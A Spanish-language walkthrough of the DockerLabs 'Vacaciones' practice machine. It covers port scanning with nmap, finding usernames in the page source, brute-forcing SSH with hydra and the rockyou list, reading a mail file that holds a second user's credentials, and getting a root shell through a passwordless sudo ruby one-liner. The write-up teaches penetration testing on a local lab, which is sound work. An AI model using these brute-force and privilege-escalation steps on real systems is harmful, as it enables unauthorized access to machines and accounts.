> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/vacaciones.md).
# Vacaciones
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Vacaciones** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:
```bash
7z x vacaciones.zip
```
#### **1.3. Ejecución**
Para desplegar la máquina en Docker, ejecutamos el script proporcionado:
```bash
bash auto_deploy.sh vacaciones.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Antes de comenzar, verificamos que tenemos conectividad con la máquina objetivo:
```bash
ping -c 1 172.17.0.2
```
El `TTL=64` nos indica que el sistema operativo es **Linux**.
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido de puertos abiertos con `nmap`:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultados:**
* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.
#### **2.3. Escaneo detallado**
Para obtener más información de los puertos abiertos, realizamos un escaneo más detallado:
```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Puerto 22:** OpenSSH 7.6p1.
* **Puerto 80:** Apache httpd 2.4.29.
#### **2.4. Análisis del servicio web**
Al acceder al servicio web mediante un navegador (`http://172.17.0.2`), encontramos una página aparentemente vacía.
Sin embargo, al inspeccionar el código fuente descubrimos un comentario interesante:
```html
```
Este comentario nos proporciona dos posibles nombres de usuario válidos en el sistema: `juan` y `camilo`.
### **3. Explotación**
#### **3.1. Fuerza bruta contra SSH**
Utilizando la información obtenida, realizamos un ataque de fuerza bruta contra el servicio SSH con `hydra`, probando primero con el usuario `camilo`:
```bash
hydra -L camilo -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
```
**Resultado:** La contraseña del usuario `camilo` es `password1`.
#### **3.2. Acceso al sistema**
Accedemos al sistema con las credenciales obtenidas mediante SSH:
```bash
ssh camilo@172.17.0.2
```
#### **3.3. Lectura de correo electrónico**
Una vez dentro del sistema, exploramos los directorios del usuario y encontramos un correo electrónico en `/var/mail/camilo`:
```bash
cat /var/mail/camilo/correo.txt
```
El contenido del correo contiene credenciales para el usuario `juan`.
#### **3.4. Acceso al sistema con el usuario juan**
Accedemos al sistema como `juan`:
```bash
su juan
```
### **4. Escalada de privilegios**
#### **4.1. Análisis de privilegios sudo**
Verificamos los privilegios del usuario `juan`:
```bash
sudo -l
```
**Resultado:** El usuario `juan` puede ejecutar `/usr/bin/ruby` como `root` sin proporcionar contraseña.
#### **4.2. Explotación mediante GTFOBins**
Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/ruby/) para encontrar una forma de escalar privilegios mediante `ruby`.
Ejecutamos el siguiente comando para obtener una shell como `root`:
```bash
sudo ruby -e 'exec "/bin/sh"'
```
Con esto, damos por completada la máquina Vacaciones.
